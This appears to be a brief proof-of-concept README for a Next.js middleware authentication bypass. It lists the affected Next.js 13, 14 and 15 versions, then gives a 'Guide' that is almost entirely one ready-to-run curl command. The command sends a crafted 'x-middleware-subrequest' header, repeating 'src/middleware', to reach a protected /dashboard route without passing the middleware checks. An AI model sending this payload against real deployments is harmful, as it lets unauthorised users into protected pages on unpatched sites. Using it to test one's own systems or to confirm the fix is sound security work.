Affected

• Next.js 15.x < 15.2.3, 14.x < 14.2.25, Next.js 13.x < 13.5.9
• Self-hosted setups that use Middleware for critical functionality, such as authentication.

Guide

npm run dev 

curl --compressed -X GET http://localhost:3000/dashboard \
  -H "Host: localhost:3000" \
  -H "sec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"" \
  -H "sec-ch-ua-mobile: ?0" \
  -H "sec-ch-ua-platform: \"macOS\"" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Sec-Fetch-Site: none" \
  -H "Sec-Fetch-Mode: navigate" \
  -H "Sec-Fetch-User: ?1" \
  -H "Sec-Fetch-Dest: document" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive" \
  -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"

Thanks to ChatGPT